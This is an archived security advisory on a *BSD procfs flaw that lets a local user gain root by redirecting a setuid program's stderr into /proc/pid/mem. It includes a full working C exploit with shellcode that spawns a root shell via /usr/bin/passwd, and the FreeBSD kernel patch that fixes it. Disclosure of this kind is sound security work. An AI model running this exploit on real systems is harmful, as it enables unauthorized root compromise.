COMMAND
procs
SYSTEMS AFFECTED
*BSD
PROBLEM
Following is based on FEAR Advisories. In January 1997 a fatal
flaw in *BSD procfs code (leading to a local root compromise) was
discussed on various security forums. The exploit code dealt with
/proc/pid/mem interface. Since then *BSD kernels contained a
simple fix which was meant to close this hole. Unfortunately,
throughout these three years it was still possible to abuse
/proc/pid/mem in a symilar, though more complicated fashion, which
could lead to local root compromise.
The bug is present in kernels used in current (and almost any
older) FreeBSD and OpenBSD distributions. In order to make this
flaw exploitable, procfs filesystem must be mounted. In default
FreeBSD 3.3 installation, procfs IS mounted; in default OpenBSD
2.6 installation, it is NOT. Note that administrators often mount
procfs filesystem for its benefits.
The procfs exploit code from 1997 was straightforward. An
unpriviledged process A forks off a process B. A opens
/proc/pid-of-B/mem. B execs a setuid binary. Though now B has a
different euid than A, A is still able to control B's memory via
/proc/pid-of-B/mem descriptor. Therefore A can change B's flow of
execution in an arbitrary way. In order to stop this exploit, an
additional check was added to the code responsible for I/O on file
descriptors referring to procfs pseudofiles. In
miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
/*
* Check to see whether access to target process is allowed
* Evaluates to 1 if access is allowed.
*/
#define CHECKIO(p1, p2) \
((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
((p2)->p_flag & P_SUGID) == 0) || \
(suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
As we see, process performing I/O (p1) must have the same uids as
target process (p2), unless... p1 has root priviledges. So, if
we can trick a setuid program X into writing to a file descriptor
F referring to a procfs object, the above check will not prevent
X from writing. As some of readers certainly already have guessed,
F's number will be 2, stderr fileno... We can pass to a setuid
program an appropriately lseeked file descriptor no 2 (pointing to
some /proc/pid/mem), and this program will blindly write there
error messages. Such output is often partially controllable (e.g.
contains program's name), so we can write almost arbitrary data
onto other setuid program's memory.
This scenario looks similar to
close(fileno(stderr)); execl("setuid-program",...)
exploits, but in fact differs profoundly. It exploits the fact
that the properties of a fd pointing into procfs is not
determined fully by "open" syscall (all other fd are; skipping
issues related to securelevels). These properties can change
because of priviledged code execution. As a result, (priviledged)
children of some process P can inherit a fd opened read-write,
though P can't directly gain such fd via open syscall.
The sample exploit below (for Intel platform) code runs
/usr/bin/passwd, but almost any setuid program can be used. This
code was tested on FreeBSD 2.8, 3.0 and 3.3 as well as on OpenBSD
2.4, 2.5 and 2.6. The code overwrites stack with addresses of a
shellcode, which is placed in an environment variable. The code
is a bit crude, but there were some obscure problems with building
a working exploit. It requires two arguments: an offset from the
current stack pointer and an offset from default shellcode
position. '/procfs_exp -4000 -10000' worked for all tested
platforms. Having seen "#" prompt, one should probably issue
"stty sane" command to clean tty state. On OpenBSD, having gained
root prompt one should remove /etc/ptmp file.
The discovery of this vulnerability, as well as the sample exploit
was done by Rafal Wojtczuk. deraadt discarded original idea of
the fix because of its inefficiency and found a better one.
Exploit code:
/* by Nergal */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>
char shellcode[] =
"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";
#define PASSWD "./passwd"
void
sg(int x)
{
}
int
main(int argc, char **argv)
{
unsigned int stack, shaddr;
int pid,schild;
int fd;
char buff[40];
unsigned int status;
char *ptr;
char name[4096];
char sc[4096];
char signature[] = "signature";
signal(SIGUSR1, sg);
if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
{
perror("creating symlink:");
exit(1);
}
shaddr=(unsigned int)&shaddr;
stack=shaddr-2048;
if (argc>1)
shaddr+=atoi(argv[1]);
if (argc>2)
stack+=atoi(argv[2]);
fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
fprintf(stderr,"Wait for \"Press return\" prompt:\n");
memset(sc, 0x90, sizeof(sc));
strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
strncpy(sc,"EGG=",4);
memset(name,'x',sizeof(name));
for (ptr = name; ptr < name + sizeof(name); ptr += 4)
*(unsigned int *) ptr = shaddr;
name[sizeof(name) - 1] = 0;
pid = fork();
switch (pid) {
case -1:
perror("fork");
exit(1);
case 0:
pid = getppid();
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if (fd < 0) {
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
kill(pid, SIGUSR1);
do {
lseek(fd, (unsigned int) signature, SEEK_SET);
} while
(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
!strncmp(buff, signature, sizeof(signature)));
lseek(fd, stack, SEEK_SET);
switch (schild = fork()) {
case -1:
perror("fork2");
exit(1);
case 0:
dup2(fd, 2);
sleep(2);
execl(PASSWD, name, "blahblah", 0);
printf("execl failed\n");
exit(1);
default:
waitpid(schild, &status, 0);
}
fprintf(stderr, "\nPress return.\n");
exit(1);
default:
/* give parent time to open /proc/pid/mem */
pause();
putenv(sc);
execl(PASSWD, "passwd", NULL);
perror("execl");
exit(0);
}
}
SOLUTION
Linux also features proc filesystem with symilar functionality,
but it is not vulnerable to this exploit. That is so because on
Linux if a process p1 wishes to alter the memory of process p2 via
/proc/pid-of-p2/mem, p2 must be traced by p1 (moreover, mem_write
function is currently defined as NULL, so /proc/pid/mem can be
altered only with use of mmap; irrelevant here). It may be
tempting to impose symilar restriction in *BSD kernels. However,
on *BSD a process p1 can attach p2 for tracing merely by writing
to /proc/pid-of-p2/ctl file; as we have just seen it is possible
to force a setuid program to write arbitrary strings to /proc
files.
The solution (by deraadt) is to add a certain check in execve
syscall. If a process X tries to exec a setuid binary, we make
sure it holds no open descriptors pointing into procfs filesystem.
Patches are available on:
http://www.openbsd.org/errata.html#procfs
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch
ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20000130-procfs
This patch will be included in the upcoming NetBSD 1.4.2 minor
release. NetBSD-current since 20000126 is not vulnerable. Users
of NetBSD-current should upgrade to a source tree later than
20000126.
Below is FreeBSD patch:
Index: sys/filedesc.h
===================================================================
RCS file: /base/FreeBSD-CVS/src/sys/sys/filedesc.h,v
retrieving revision 1.15.2.1
diff -u -r1.15.2.1 filedesc.h
--- filedesc.h 1999/08/29 16:32:22 1.15.2.1
+++ filedesc.h 2000/01/20 21:39:29
@@ -139,6 +139,7 @@
int fsetown __P((pid_t, struct sigio **));
void funsetown __P((struct sigio *));
void funsetownlst __P((struct sigiolst *));
+void setugidsafety __P((struct proc *p));
#endif
#endif
Index: kern/kern_descrip.c
===================================================================
RCS file: /base/FreeBSD-CVS/src/sys/kern/kern_descrip.c,v
retrieving revision 1.58.2.3
diff -u -r1.58.2.3 kern_descrip.c
--- kern_descrip.c 1999/11/18 08:09:08 1.58.2.3
+++ kern_descrip.c 2000/01/20 21:40:00
@@ -984,6 +984,62 @@
}
/*
+ * For setuid/setgid programs we don't want to people to use that setuidness
+ * to generate error messages which write to a file which otherwise would
+ * otherwise be off limits to the proces.
+ *
+ * This is a gross hack to plug the hole. A better solution would involve
+ * a special vop or other form of generalized access control mechanism. We
+ * go ahead and just reject all procfs file systems accesses as dangerous.
+ *
+ * Since setugidsafety calls this only for fd 0, 1 and 2, this check is
+ * sufficient. We also don't for setugidness since we know we are.
+ */
+static int
+is_unsafe(struct file *fp)
+{
+ if (fp->f_type == DTYPE_VNODE &&
+ ((struct vnode *)(fp->f_data))->v_tag == VT_PROCFS)
+ return (1);
+ return (0);
+}
+
+/*
+ * Make this setguid thing safe, if at all possible.
+ */
+void
+setugidsafety(p)
+ struct proc *p;
+{
+ struct filedesc *fdp = p->p_fd;
+ struct file **fpp;
+ char *fdfp;
+ register int i;
+
+ /* Certain daemons might not have file descriptors. */
+ if (fdp == NULL)
+ return;
+
+ fpp = fdp->fd_ofiles;
+ fdfp = fdp->fd_ofileflags;
+ for (i = 0; i <= fdp->fd_lastfile; i++, fpp++, fdfp++) {
+ if (i > 2)
+ break;
+ if (*fpp != NULL && is_unsafe(*fpp)) {
+ if (*fdfp & UF_MAPPED)
+ (void) munmapfd(p, i);
+ (void) closef(*fpp, p);
+ *fpp = NULL;
+ *fdfp = 0;
+ if (i < fdp->fd_freefile)
+ fdp->fd_freefile = i;
+ }
+ }
+ while (fdp->fd_lastfile > 0 && fdp->fd_ofiles[fdp->fd_lastfile] == NULL)
+ fdp->fd_lastfile--;
+}
+
+/*
* Close any files on exec?
*/
void
Index: kern/kern_exec.c
===================================================================
RCS file: /base/FreeBSD-CVS/src/sys/kern/kern_exec.c,v
retrieving revision 1.93.2.3
diff -u -r1.93.2.3 kern_exec.c
--- kern_exec.c 1999/08/29 16:25:58 1.93.2.3
+++ kern_exec.c 2000/01/20 21:39:29
@@ -281,6 +281,7 @@
if (attr.va_mode & VSGID)
p->p_ucred->cr_gid = attr.va_gid;
setsugid(p);
+ setugidsafety(p);
} else {
if (p->p_ucred->cr_uid == p->p_cred->p_ruid &&
p->p_ucred->cr_gid == p->p_cred->p_rgid)